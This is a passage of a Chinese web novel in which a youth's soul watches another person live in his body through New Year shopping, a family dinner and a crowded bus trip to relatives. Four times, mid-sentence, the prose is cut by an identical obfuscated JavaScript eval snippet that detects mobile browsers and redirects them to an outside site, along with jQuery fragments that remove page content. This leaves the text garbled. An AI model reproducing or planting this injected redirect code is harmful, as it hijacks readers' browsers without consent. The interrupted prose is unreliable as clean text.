鲁向萍被逗笑了:“那你就想多了,不围着能有整个院子,一楼现在也就她家在住,围了不就门口那一块地了,还费事,没人会这么干的。算了,拜年那几天让她关在家里就行,到时候人来人往的别出什么事了,平时出入躲着点就可以了,你也注意点,别被咬了。” 夏杨有点苦恼地皱起了眉头。 季恒不由幸灾乐祸——这可不是那种摊贩之类说出来就能解决的小事,虽然也算不上什么大事,但夏杨可算解决不了了吧? 不过他以前都没发现,原来他妈怕狗啊。 邻居家的男主人大半时间在乡下生活,在家时间不多,能和他放假时间重合起来的就更少了。 他不怕狗,还真没注意过,老妈也没跟他说过,怎么一跟夏杨出门就说了。 哦,他也没陪老妈买过年货。 都是老妈买回来后停在下面巷子口,他被电话召唤下去搬东西。 眼看着老妈没骑电动车,借了辆小三轮准备出去采购,夏杨就坐在小三轮后头,季恒的心也跟着发动机嗡嗡的声音上下颠簸。 ……怪羞耻的。 到了批发市场,夏杨这回也没帮上什么忙,主要负责看小三轮车和车上越来越多的东西,这里是鲁向萍的主场,没过一会就提回来一大袋,转头又奔进另一条巷子的店铺。 年货么,就是那几样。 饮料,干果,糖果,零食,茶叶,还有各种各样的菜。 例如买上几只回家一口气杀了冻在冰箱里要做了就解冻的鸡鸭,一大块一大块的猪肉牛肉,每年必备的猪肚,还有大堆的各色素菜等等。 火锅底料就不必了,他妈一手炒底料的好手艺,不管是鸡火锅鱼火锅牛肉火锅都做得特别好吃。 季恒看着都有点馋了。 现在过年早已不像小时候那样兴奋期待,以前只有过年才能吃到的好菜在日常生活里也不罕见了,那些玩得来的同龄朋友现在变作亲戚往来间炫耀对比的“对手”,每次过年留给季恒的印象就只剩下烦了。 他从初中就不喜欢过年了。 那时候就想,要是过年只是在家吃几顿好的就好了。 谁乐意把假期浪费在一年见一次的亲戚身上,还老被问这问那,拿着成绩比来比去,再说些大人的指导——好好读书以后找个好工作孝敬父母——说的人不腻他听着都腻了。 所以,他不爱招待客人,老在房间里躲着,去亲戚家时也是抱着个手机从头玩到尾,或者跟着小孩子一起在电视上看动画片。 既跟同龄人玩不到一起,也不想参与大人的话题和牌桌,更不喜欢带小孩子玩。 亲戚对他的评价他也心里有数,无外乎和邻居说的一样,觉得他一个男孩子都这么大了,搁以前年代都结婚生孩子的年龄了,实在太不会“来事”了。 可谁规定他就必须会“来事”?他为什么要为了这些不熟亲戚的评价活着? 偏偏他妈维护归维护他,他看得出来,老妈心里是赞同的。 只不过觉得不好跟他说,怕伤他面子。 真的是他做错了吗? 季恒蔫了好一会。 在走走停停的大采购下,小三轮车已经快堆满了,里面还有两袋子板油,白花花的肥肉把黑色的袋子撑得圆鼓鼓的,从袋口死结旁边的空隙溢出些许,提手肉眼可见泛着油光。 这玩意,又沉又滑腻,那个手感,绝了。 鲁向萍对着一堆袋子清点一番,她不需要清单,要买什么她心里有数,一颗蒜都不会少。 看下来是差不多了,也松了口气。 “就差给你买身新衣服过年了,还有鞋子……”鲁向萍看了眼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399664|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这鞋子还挺新的,要不就这样?到时候给你钱年后再去买,这会买啥都涨价,没必要。” “好。”夏杨应得很爽快,或者说,他本来也没想要买新衣服新鞋子,“衣服也不用了,我衣柜里没穿的衣服还挺多,等明年过年再买吧。” ……谁说那是没穿的衣服了,那是不好看的穿了不喜欢的。 季恒无语。 他自己买衣服的时候不多,买了两回被老妈说质量不行白花钱,就基本上被老妈包揽了。但审美上着实有些差异。 鲁向萍:“不是说反话吧?” “不是,我真这么想的。” “那行,也省得你像以前那样,一堆没怎么穿过的衣服就因为不合身都扔掉了,纯浪费钱。 “等年后我给你钱,自己买两身好点的,别光看着好看,要那种质量好的,不然穿身上跟抹布一样。 “你要是买得来,以后我也不样样管着你了,让你自己来,都这么大人了,生活也该自己理了。” “那我买了先给妈掌眼,妈的眼光最好了。”夏杨笑道。 鲁向萍往他额头上戳了下:“别老跟我说这些酸话,听着浑身起鸡皮疙瘩。” 话是这么说,脸上的笑容很明显。 满载而归的小三轮轰隆隆驶回家,停在下面巷子口,上面一段电线杆子挡着路,二轮电动车还能过,小三轮就不太行了。 两人开始蚂蚁般勤勤恳恳向家中搬运,夏杨本想自己一个人搬的,但鲁向萍可不听这个话。 于是,夏杨把鲁向萍手里两袋板油拎了过去,沉得季恒都能感觉到胳膊连着肩在往下坠。 他走在前头,邻居家门紧闭,传来电视机的声音。 狗蹲坐在门口,一见有人就弓起身子,两眼炯炯盯着,边低吼边往人这边靠近,看着像随时会扑上来咬一口。 链子长到团在一起,没有丝毫禁锢感。 确实挺可怕的。 夏杨细细打量时,季恒也看到了这些细节。 夏杨故意停了步子,挡在狗前面,让后面的鲁向萍能不面对狗直接通过。 两人前后脚上了楼,鲁向萍放了东西后,拍了夏杨后背一巴掌:“你这孩子,多大点事。” 夏杨笑了笑,没说话,却在后面始终这样,给鲁向萍挡得严严实实。 那狗也始终是一种蓄势待发的凶恶状态,时不时呲出牙,有时还往外扑来,几乎离夏杨就几步之遥。 却又忌惮着夏杨不怕它,一副安定如山的神态,只敢在固定范围里徘徊着。 季恒在网上刷到过,说狗对人怕不怕它是很敏感的。 不怕狗的,狗就会怕。 怕狗的,狗就会欺负。 现在,他觉得可能还是没那么绝对。 因为夏杨的心脏在胸膛里怦怦直跳,尤其是狗对他冲过来的时候。 显然过去没经历过这样的事情,也不像季恒一样完全不怕狗,心里还是害怕的,只不过表面上撑得好。 季恒不太能共情,体型差摆在这儿,这条狗在他眼里实在算不上什么威胁,真要是冲上来咬人,感觉也是一脚就能踹飞。 但夏杨这么做,不就显得他像个恶人了吗? 5. 第五章 买好年货只是一个开始。 接下来,是大扫除。 就算夏杨前段时间搞过卫生最近也一直有在打扫,但鲁向萍的大扫除是一点儿不掺水分的。 扫地,拖地,擦玻璃,擦墙,用撑衣杆绑上扫把扫天花板角落的灰,家具电器统统擦干净,冰箱都得拔电线融了冰整个擦洗一番,更别说窗户栏杆这些了。 要不是窗帘不好拆,连窗帘都得拆下来扔洗衣机里洗上一遍。 年货买得早,回来也早,一趟卫生搞下来,草草对付完午饭,等结束时,已经下午了。 事情还没结束。 年货开始归类储存,需要提前卤好的杀好冻起来的煮熟备用的全部准备起来。 这又是一番大工程了。 季恒眼看着夏杨在厨房样样帮得上手,虽然和他一样,杀鸡杀鸭只是负责捉脚,但其他活可比他利落多了。 这里搞完,再把厨房卫生搞搞,吃个晚饭洗个澡,一天也就差不多过去了。 鲁向萍说不上累,年年都这么过来的,她也是个精力很旺盛的人。 看着还没到睡觉时间,坐在客厅里刷手机。 夏杨则回了房间,继续上课。 季恒看着无聊,早早睡了。 第二天时,鲁向萍跟朋友约着出门了,没有其他事的夏杨回到了规律的生活,只是在十点钟左右,下了趟楼。 楼下邻居家开着门,狗依旧拴在门口,从敞开的门口能一眼望见客厅,一个皮肤很黑稍微有些驼背的中年男人正在看电视,中年女人在拖着地,让男人抬下脚。 夏杨隔了门口有一段距离,稍微扬高了声音:“阿姨,能麻烦您出来一下吗?” 邻居阿姨停住动作,眯眼看了下:“是季恒啊,你进来坐呗,吃早饭了没?没吃来拿两个鸡蛋吃。” 客厅餐桌上摆着盘水煮蛋。 季恒感觉到身体微微放松了些——觉得比起前面留下的印象,邻居意料之外的好相处? 但就是这样的,说坏也算不上,看起来可能没什么公德心,但又确实是个不坏的人。 或者说,绝大部分人都这样,总有些令人讨厌的部分,却也不至于完全讨厌。 夏杨显然没怎么接触过这么生活化的人。 他语气更轻松了些:“我就不进来了,不然弄脏您拖的地了。我有些事想跟您说。” 邻居阿姨疑惑地放下拖把,走出来:“什么事啊?” “是这样的,”夏杨有些不好意思,“我比较怕狗,本来不好因为我个人的事来打扰您的,寒假也就这么长,我也不怎么出门,没什么大事。但过几天就过年走亲戚了,到时候肯定要出出进进接客人送客人的,我怕到时候被狗吓到就丢脸了。” 邻居阿姨没想到是这么回事,惊奇道:“你这么大个小伙子还怕狗呢?” 夏杨红了脸,“也是您家狗养得好,一看就精悍,普通小狗我是不怕的,没攻击性嘛。” 中年男人从屋里走了出来,自得道:“我这狗在村里也都说养得好,看家护院一把好手。” 阿姨笑了起来,“知道你养得好了,要不也不能吓到这么大个人啊。快把狗链子往里缩缩,别让大小伙子在亲戚面前丢脸。” 那条狗的铁链一头连在门口钉着的铁钩上,另一头连着狗脖子的项圈。 中年男人把铁链在铁钩子上调节一下,缩短了近一半。 这下狗即使把链子整根绷起来,也只能到院子一小半的距离,不像之前那样能跑到院子门口去,更不会影响正常走路通行了。 夏杨又陪邻居夫妇聊了会天。 他挺会说话,也会暗里夸人捧人,聊得夫妇俩心花怒放,硬给他塞了两个鸡蛋一个苹果才放他走。 但季恒能感觉到,这次再见到狗时,狗一如既往,顶多是在主人身边温顺了点,可夏杨的心脏已经不像昨天那样乱跳了。 夏杨远远离着狗,故意装成怕狗乃至于脸红害羞不好意思的作态,全都是他的伪装。 人总会有这样的时刻。 季恒自己从小到大没说过太多的谎,但也是有过的。 更别提夏杨这是为了鲁向萍的善意谎言。 但可能是隔得太近了,把另一个人并不想被看透的部分看得一清二楚,季恒难免感到有些恶心。 他恹恹地看着夏杨回家后没再继续课业,而是拿起了手机,似乎在思考什么。 过了片刻,夏杨播出了一个电话号码。 “您所拨打的号码是空号……” 他又试了几个,都是空号。 夏杨用手机的浏览器搜索了一家公司的名字。 没有这家公司。 “不是一个世界啊。” 季恒听见夏杨这么说。语气很平淡,像早有预料,却又像透着点遗憾。 所以,问题出在夏杨那个世界里吗? 季恒忍不住推测:说不定就是夏杨那个世界有一些不寻常的超能力,比如夏杨自己就有个穿越的能力但一直没激活临死才激活之类的,才会造成现在这种处境。 但这些问题都只能埋藏在他心里发酵,既问不出去,也无人解答。 似乎将责任归咎到夏杨身上,证明是夏杨恶意抢夺了他的身体,而不是因缘巧合下造成的谁都无罪的结果,会令他好受许多。 “这样就不能用自己的遗产了,得想办法赚钱了。” 还是夏杨的声音。 季恒思绪一下被打乱了。 不是。 你小子还有遗产这么高大上的东西? 听起来很有钱的样子啊。 可惜,这下都没了。 而且,这能想什么办法赚钱? 季恒能想到的就是做兼职和打工。 兼职还挺多的,发传单,拉广告横幅之类的。 打工就选择更多了,快餐店奶茶店和电子厂一类的。 但前者需要人介绍。 一般来说兼职都会有人负责整理相关的信息,对接老板,自己当这个中介来向想找兼职的人收取会员费。 光凭自己找的话,这种时效性很强的兼职,在网上没那么容易找到。 后者时间上不合适。 不管打什么工,一个月起码要能做到吧。 整个寒假也就个把月时间,还要除去过年的时间,这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399665|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店家都关门回家了,哪里用得着招工。 两个都排除掉后,季恒是想不出来什么挣钱的方法了。 除了为了买游戏机去做过兼职打过工,季恒也没正儿八经思考过赚钱的问题——用他老妈的话来说就是他还是个学生,家里养得起他,不是需要他来考虑这些事的时候。 再说了,要是挣钱有这么容易,早就人人都成百万富翁了。 他就不信,夏杨还靠自己挣过钱。 ……还真是。 夏杨在手机上搜索了一些招收文案和软文的帖子,也看了相应的工作,但只看兼职部分,排除掉一些卖课的和条件不符合的,倒也找到几个符合的,写了稿子投递过去。 在等答复的时候,他又去下了季恒只听说过名字的几个软件,试了下电脑的性能,确认过关后,到网上刷了会视频,然后明确地去找了一部当下爆火的电视剧看完。 从中搜集素材,剪辑出了一个丝滑流畅酷帅的反派踩点视频,打上一系列tag发布出去后,在个人简介挂上了接剪辑商单和联系方式。 做这些事中间,还抽空按时吃了个午饭。 简直是令人叹为观止。 睡前,夏杨投的软文过了一家,文案也过了一家,但给出的价钱都比较低,要求也多。 夏杨拒绝了,转而自己创立了账号。 季恒就这么目瞪口呆地看着夏杨每天把一半上课时间分出来研究市场,做自己的账号,写文章,还有在剪辑蹭着热度加上本身质量好小火一把后接到的一个单子,以及继续做剪辑视频把这个视频账号做起来。 夏杨并未展示多么商业的手段,做的事情可以说是很朴素,但也是季恒印象里固定为“别人”才会做的事情了。 一时之间除了那个单子看不到什么收益,但投入进去的也只有时间。 账号也没有一炮而红马上飞升成网红级别,只是稳步增加着阅读量评论量关注数。 视频账号那里也因为每天稳定的高质量更新使得播放量较为稳定,没有断层式萎靡下去,粉丝量增长不快但也能算是粘性较高了。 这样就已经很不可思议了。 是季恒完全做不到的事情了。 再这么持续下去,不说大红大火,夏杨靠这些有稳定的收入应该是没问题的。 夏杨并不需要像他那样靠笨拙卖体力的打工兼职才能赚到钱。 夏杨比他聪明多了。 年夜饭前一天,鲁向萍跟夏杨说:“今年过年你爸不回来了,店里忙得很,老板非要留着他。” “我都快不记得他长什么样了。”夏杨开玩笑道。 ——季恒跟他爸没有过合影,手机里也没有他爸的照片,家里也没有什么一家三口合影啊夫妻结婚照之类的东西。 季恒知道,夏杨这是在打铺垫呢。 防止以后见面认不出亲爹来。 鲁向萍僵了一下,难得有些欲言又止的模样,最后还是笑了笑: “哪有不认识自己亲爹的,他顶多就变老些,人早就定型了,脸也变不到哪里去。 “再说了,就算真不认识,也是他不顾着这个家,不是你的问题。” 6. 第六章 家里就两个人,鲁向萍就没在年夜饭上搞多大排场了,不然后面天天剩菜滚剩菜,真是吃到年后一个星期都吃不完了。 她总共做了四个菜。 小炒鸡,啤酒鸭,清蒸鱼,芹菜炒牛肉,正合了鸡鸭鱼肉。 至于一个素菜都没有,放在过年时,也不算什么缺点了。想吃素菜平时有的是,不差年夜饭这一顿。 饮料是椰子汁,一众花生奶苹果醋可乐雪碧之类的饮料里季恒最爱喝的那个,也是他喜欢的牌子。 光放在那里,他一天碎喝碎喝,这种1.25L装的一瓶都不够他喝的。 刚开始吃饭都是不装饭的,纯吃菜,饭还特意少煮了一小半。 鲁向萍给夏杨的一次性塑料杯里倒满椰子汁,“今年就这么过去了,新的一年马上就来了,希望你明年认真读书,好好学习,以后有个好前程。” 她每年过年都会试图来点年度总结和新年展望,但一眼望得到头的日子似乎没什么好说的,就通通变成了对季恒的期望。 如果父亲在家,父亲是不说话的,像一道游弋在二人之外的沉默影子。 季恒一向很讨厌这个环节。 初中时,说要他好好读书,三年都不能懈怠,小学跟初中之间是一道分水岭,初中的知识可没小学那么好学,想考个好高中,初一就得认真起来了。 这些道理难道他不懂吗? 身在其中学习的就是他自己,他比老妈可懂得多了。 自己明白的道理,一旦被人说出来,反而会生出一种逆反心理。 但季恒是个乖孩子。 老妈带他长大很辛苦,老妈一直在照顾他,即便感到不爽,他也不会在年夜饭顶嘴给老妈找不痛快。 顶多闷闷应下撇到脑后,不把这事当回事。 他很爱他的家,可开始住宿后,学校宿舍就成了更轻松的地方,没有无聊的唠叨和反复强调的期望,不必再承受来自家的压迫感。 季恒突然觉得有些好笑。 他会这么想,归根究底是他的问题——他知道自己要满足那些期望会很费劲,甚至很费劲都做不到,所以才会烦躁,逃避,因此对老妈产生负面情绪。 但这些是不能跟老妈说的事情。 老妈那个年代,即使不读书,只要敢打敢拼敢干,似乎就能靠双手换来幸福的生活,所以在她的观念里,自己够努力,一切都是能做得到的。 怎么可能呢。 读书不是这么回事,是有天赋高下之分的。 天才在他这个年纪指不定已经去做科研拿了一串大奖发布轰动学术圈的论文了。 而他再努力,也只能考上一个一本,在普通专业当一个看不见未来的普通学生。 赚钱也不是这么回事。 不然,为什么有的人努力一辈子,也只是当了一辈子的工人,指不定什么时候就被新型自动化机器给优化掉了,有的人却能白手起家成为大老板成为行业龙头? 老妈从来不会正视这一点。 她对儿子读的书不了解,见成绩还行,就抱有不符合的期望,觉得儿子不会像她一样普通。 但就是这么普通。 甚至比她还普通。 至少她拥有踏实肯干的性格和勤劳的美德,儿子却是一个被她撑起的一片天惯坏的内向虚浮爱幻想不上进、年纪轻轻从里面开始腐朽掉的人。 夏杨之所以能享受这样的母爱,与鲁向萍站在平等的位置交流,对这些期待的话语从善如流,不会感到压力。 道理很简单。 夏杨不是季恒。 他不是那个在这样的家庭环境里长大的孩子。 钱是人的底气,夏杨就算患病,也是个从小到大很有底气的人。 他只是没法过正常人的健康生活。 可他的病和殷实的家底,让他得到了一颗大心脏和想做什么只要不影响生病都能去做的自信,并从中习得了一些技艺。 都说富人和穷人家的孩子,最根本的差距是眼界。 确实有点这种味道了。 季恒惧怕的一切,在夏杨眼里都只是一件可以解决的小事。 他没有发出声音——在一个自己声音只有自己听到的环境里,发出声音已经成为一件只会刺激到自己的不必要的事。 反复认知到同一个道理,让他原本激动的情绪也变得麻木起来。 他听见夏杨说话:“我会考个好成绩的,妈你放心。我祝妈妈新的一年身体健康,能多给自己放几天假,找机会出去旅游玩几圈,不要再那么辛苦了。” 说得多好听啊。 夏杨就是比他厉害,比他好,比他会让人开心。 “哪有时间出去玩哦,总不能不上班了吧,玩也花钱的很,钱都要攒下来给你读书,以后给你买房子的。” 瞧,还是他那个一如既往会扫兴的老妈。 跟她说好话,她哪怕心里开心,也要摆出道理来谈现实,像一个大巴掌把好话抽了回去。 “谢谢妈,但我以后毕业了结婚也不急在一时,自己工作几年攒钱买房可以慢慢来,现在房价年年下跌,到时候也不用太愁。你好不容易把我养这么大,也该慢慢开始享点清福了。”夏杨说,“我明年会试着看在读书之外能不能找点兼职赚点钱,把自己生活费学费承担起来,这样也能给你减轻些压力。” “别搞那些影响学习的事啊,哪就要你自己来管学费和生活费了!我还没……” 鲁向萍有点急了,晦气话还没脱口,想起今天是什么日子,又咽了回去。 虽说是孩子一番孝心,但她听着就像儿子打算退学去工厂打工去小区当保安了一样。 可对上夏杨坚定视线的那一刻,这些不满焦躁消弭地一干二净。 “……反正,你长这么大,翅膀硬了,我也管不了你那么多。但你要是不好好学习,那就是存心气我了。” 夏杨没有辩驳,“我不会浪费这个学习机会的,妈。” “嗯。” 晚餐在有些僵硬的气氛中开始了。 年夜饭吃得早,六点就开始了,天都还没黑,只是窗帘拉了起来,室内才需要开着灯。 近几年禁烟花炮竹,但他家在小城市,管的没那么严,外面放得噼里啪啦响,还有烟花拖着“咻——”的长音在天空上炸开一声“砰”的动静。 不过也只是放个热闹,这个点的天色,是看不见烟花的。 夏杨空着碗吃菜,鲁向萍也是。 过了一会,鲁向萍闷不吭声给夏杨夹了个鸡腿。 夏杨很平常地道了句谢,啃了起来,动作有种说不出的优雅。 共享感官的季恒也吃到了鸡腿——小时候老吃这个,吃得他都不爱吃了。 有段时间还是大人出钱哄他吃,大人总喜欢这样逗小孩玩。 不过再大点就没这个好处了,那都是真心拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399666|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝被当成推让、几句之后鸡腿直接跑碗里来,不吃也得吃,不然总不能扔掉吧。 就越来越讨厌吃了。 但快餐店的炸鸡他照样吃得很香。 ——老妈手艺没退步,鸡腿本身味道不差,为了入味,上面还划了几刀,里面并不是一团没有味道的嫩肉。 但还是越来越难吃了。 又不是他在吃,吃得这么津津有味,简直就像他在捡身体咀嚼过的垃圾一样。 夏杨刚吃完鸡腿,鸭翅膀和牛肉又夹过来了。 “多吃点,”鲁向萍语气硬邦邦的:“你不是不喜欢吃剩菜吗?都吃完了就没有剩菜了。” 夏杨丝毫没有受到之前那场对话的影响,语气依旧很开朗,“那你也得一块努力了,我一个人吃不了这么多。” 鲁向萍突然说:“你怎么不喝饮料?不是最喜欢这椰子汁了吗?” 夏杨指了指鸡腿骨头,“这不是忙不过来嘛。” 过了一会,鲁向萍打开了电视机。 一档正在采访记录某地年夜饭风俗的节目。 客厅里的气氛像是被电视机里喜庆的音乐、人们对过年充满热情的氛围、不同风俗的科普融化了,变得寻常起来。 夏杨边吃边看,吃到一半,去厨房装了饭回来配着菜继续吃,还给鲁向萍也打了一碗饭。 他看得很认真,在季恒眼里无聊到不如刷视频的节目,似乎具有着别样的趣味和吸引力。 季恒也看了一会。 没办法。 夏杨像是一个不需要娱乐的人,对他这种被无效信息纯粹快乐充满的人来说,简直就是一种折磨。 夏杨爱干的事他都不爱干,要么上课要么上班,顶多是刷电视剧时能跟着看看,问题是他也不爱看电视剧。 太折磨了。 这节目真没啥意思,三句对话季恒能找出八个槽点。 要不是人不能一天二十四小时睡觉,季恒就去睡了。 现在睡得久虽然没有那种身体上的不舒服,但意识上的不舒服还是存在的,他总是要保持清醒一段时间。 两个人还真把四个菜吃得差不多了。 碗底剩的那些,被鲁向萍分了下任务,也就消灭完了。 夏杨是其中出力的大头,在开始固定锻炼后,这个年纪的男性本来就大的胃口更大了几分,才能哐哐塞进去这么多饭菜。 他大约是没有边吃饭菜边喝饮料的习惯,直到吃完饭,才把那杯椰子汁喝完。 季恒尝着,还是熟悉的喜欢的味道。 可身体的反馈很平淡——夏杨应该说不上不喜欢,也说不上喜欢,就是普通的饮料。 以前吃过更好的? 这是个合理的猜测。 那为啥还会这么喜欢他老妈做的菜? 季恒能拍胸脯自夸他老妈做菜是亲戚朋友里最好吃的,虽然他吃过的也不多,但他和那些被厨艺不好的父母“虐待”到把学校食堂黑暗菜式当成美味大餐的同学不是一回事。 他从小就吃得很好,不是说菜有多贵,而是味道很好。 可这依旧在家常菜的范围里,像夏杨这样的,应该吃过很多不同大厨的手艺吧? 客观上,季恒不能打包票说他老妈的手艺一定会比那些大厨好。 季恒想起来夏杨之前自言自语那些话。 ……好恶心。 这家伙该不会是在享受他老妈的母爱吧? 7. 第七章 初一一大早,还不到五点钟,夏杨就被鲁向萍叫了起来。 先是喝上一杯茶,然后就是早餐。 今天是绝不能睡懒觉的——哪怕夏杨平时六点半起床也不行。 早餐就做得比较简单了,老规矩,煮面吃。 家里有卤好的肉菜,这是现成的哨子。再煎个荷包蛋搭两根青菜撒点葱花,煮面的水里掺一半卤汤,就是碗色香味俱全的卤面了。 吃这个还不用另外放辣椒油了,本身就是辣卤。 得吃快点,因为要去赶早班车。 家里只有电瓶车,鲁向萍过年是不会骑着它出行的,要么坐公交要么打车。 今天拜年的人家是季恒父亲的父母,鲁向萍叫公公婆婆,夏杨叫爷爷奶奶。 虽然他爸过年没回来,但拜年还是得去的。 老人家住在乡下,在同一个城市,距离却说不上近,公交是到不了的,要坐那种往乡里开的汽车。 过年时坐车人多,路上车多,很容易在车上挤得要死没有座位坐还被拜年大军乌泱泱堵在马路上一个小时前进两百米。 有时候车开过去全被堵在返程路上,导致等不到车回家,还要蹭亲戚家的车一道回城里。 每次坐这个车,季恒都感觉跟丧尸围城也差不多了。 这次也不出所料,跟往年情形一样。 排队买票进站后,车站里已经汇聚了一大片等车的人,从汽车出入口两边一直围到挂着牌子的汽车停靠点,只是这里还空荡荡的。 夏杨不可置信地眨了眨眼,盯着各色穿着的人群看。 人一多,声音吵闹,空气浑浊。 跟菜市场那完全不是一个级别的。 夏杨被鲁向萍拉着挤进人群里,有点缝隙就往前钻,直到站在最前排,确保车一进来就能马上上车。 但季恒注意到,夏杨很不适应这种一路走过来胳膊腿能擦过十多二十个陌生人的密集环境,就算站定了,也是尽可能让自己脱离人群,不产生接触。 鲁向萍一把就把他拉回来了:“站那么前,等会车被你挡着进不来了。” 夏杨被迫往后一退,小腿就传来撞上什么东西的疼痛感,那是人家提着的水果礼品盒。 他默默把要叹的气咽回去了。 ——鲁向萍说过,过年时别说“死”之类的晦气词,也别唉声叹气一脸苦相。 等了约十分钟,车来了。 在出入通道口的闸门外停下,让乘客都下车了,然后才慢慢往里面驶来。 那速度是真的很缓慢,因为两边等待的乘客看见是要坐的车,就开始追着车跑了,边追边喊让司机开门。 这要是开快点,就得出案子了。 眼看车被那些人围住越来越慢像是要停下了,这边等着的人也站不住了,一个个拎起放在地上的东西,拽住不上道畏畏缩缩的娃,直接朝着那边冲过去。 车没开出几米,被堵了个严严实实,彻底停下了。 司机喊着“都让让到前面上车别着急后面还有一辆马上就来了”,没人听,见车门没开,有的人直接扛起孩子从窗口往车上塞,再把东西递进去,最后再自己扒着窗口踩着轮胎蛄蛹进去。 司机也是没招了,把门打开了。 这下更凶猛了。 能勉强容得下两个人并肩而行一下上去的就是三四个,其余人都抢着要上前,反而胳膊腿纠结在了一起,颇有种你挡住我我也挡住你谁也别想先上去的架势。 夏杨的身高是超过绝大部分的乘客的,有点一览众山小的意味,就算这样,没经历过这种事的他也快被汹涌的人潮冲晕了。 全靠那只铁爪般抓着他手腕带他往前不顾一切冲锋的手,硬生生带着他从一片扇形人群的外围挤到了后面那个车门口。 此时已经上了将近一半人,夏杨能感觉到自己被鲁向萍推到了前面,挨着那几个在车门口快挤到变形一并上车的人,艰难地往上车的台阶上找到一小块空地,踏上一只脚,得了一块立足之地。 地盘就是这么打下来的。 有了站得住脚的地方,就可以凭这只脚整个身体先上去占领空中体积了,等前面的进去一点,另一只脚也能上来了。 夏杨体型摆在这,除了一不小心差点一头撞在门框上之外,倒也有不少便利,拦得他后面的人都不好挤了,只能抵着他的背往前推,先把他这个挡路的推上去,帮了他不少忙。 他挤得快断气了,也没忘记回头拉鲁向萍一把——还真不用他拉,挨着在他后面推得最狠的就是鲁向萍。 待到上了车,那真的是顿觉天地宽。 鲁向萍已走到他前头,飞速选定了后排连着的两个座位,率先坐下外面那个,把里面靠窗的留给夏杨。 夏杨把窗子打开到最大,车外空气夹杂着尾气味,并未清新到哪里去,但迎面吹拂在脸庞上的流动的风,总算让他轻松了些许。 没过多久,车上就坐满了。 再上车的人就结结实实站在了过道里,随着检票员“空着那么大呢往里站站别堵在前面”的喊声,座位之外所有能落脚的地方都被双足或物品占据了。 这时,车门艰难地合上,没能挤上来的人被司机“去等后面那辆”的话驱赶开,车终于能够发动了。 都不用开进应该的停靠点,原地倒了个车,就迎着闸门开出去了。 季恒能感觉到,总是很稳定平静的心跳,在被狗吓到之后第二次出现了如此惊慌的跳动。 那种对人群的逃避,对为了一个座位被迫又挤又争又抢这种行为的羞耻感,对自己生活在如此环境中的自我厌恶感,似乎由他的灵魂泵出,在身体微妙的细节和肢体动作上重合了。 原来夏杨也不是什么时候都那么厉害啊。 原来夏杨也会跟他一样讨厌这种场合啊。 原来夏杨也会像他一样如此普通的感到窘迫啊。 季恒几乎有种此刻的自己与夏杨产生了一部分灵魂与情感上重叠的错觉。 因为不知所措的夏杨,就是每年一次面对这种场景时的他。 身体熟悉的表现,仿佛让他久违地重新变回了一个人,而不是一抹魂魄。 这种令人沉溺的错觉好一会都没被打破。 夏杨靠在窗边,呼吸着车辆驶上马路后变得寒冷的空气。 这些风也会刮到其他乘客,他把窗户缩小了到只留一条缝,从这条与玻璃相比像是被擦出一条亮色的窗口看着外面陌生的城市景色,于是灰白的冬天似乎也亮了起来。 到处都是红红火火的,路灯上挂着喜庆的中国结,还开着门的店铺放着《好运来》,返乡的人在车站门口并不好吃的早餐店排着队。 他安静地看着。 一如季恒会做的那样。 这趟车上得早,但路上已经有堵车的迹象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399667|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,司机便走了小路,幸好这条没堵,不然就真是进不得退不得了。 经过近两个小时的车程,提着在路口商店买的礼品和鞭炮,夏杨终于和鲁向萍抵达了目的地。 这是一栋修得不错的楼房,很经典的农村装修风格,村里随机挑两栋出来就能三个一起消除。 前头有个院子,扎了半截篱笆,篱笆上还缠着已经干枯的丝瓜藤。 夏杨刚进院子里,就有人迎上来接过他手里的东西把他往屋里拉。 鲁向萍把鞭炮拿了出来,“妈,我们来给你拜年了!有打火机没?现在村里还让放炮吧?” 迎上前的是个中年女人,一个老太太跟在后头,头发已经全白了,但看上去精神矍铄,表情板着,有点不好相处的味道。 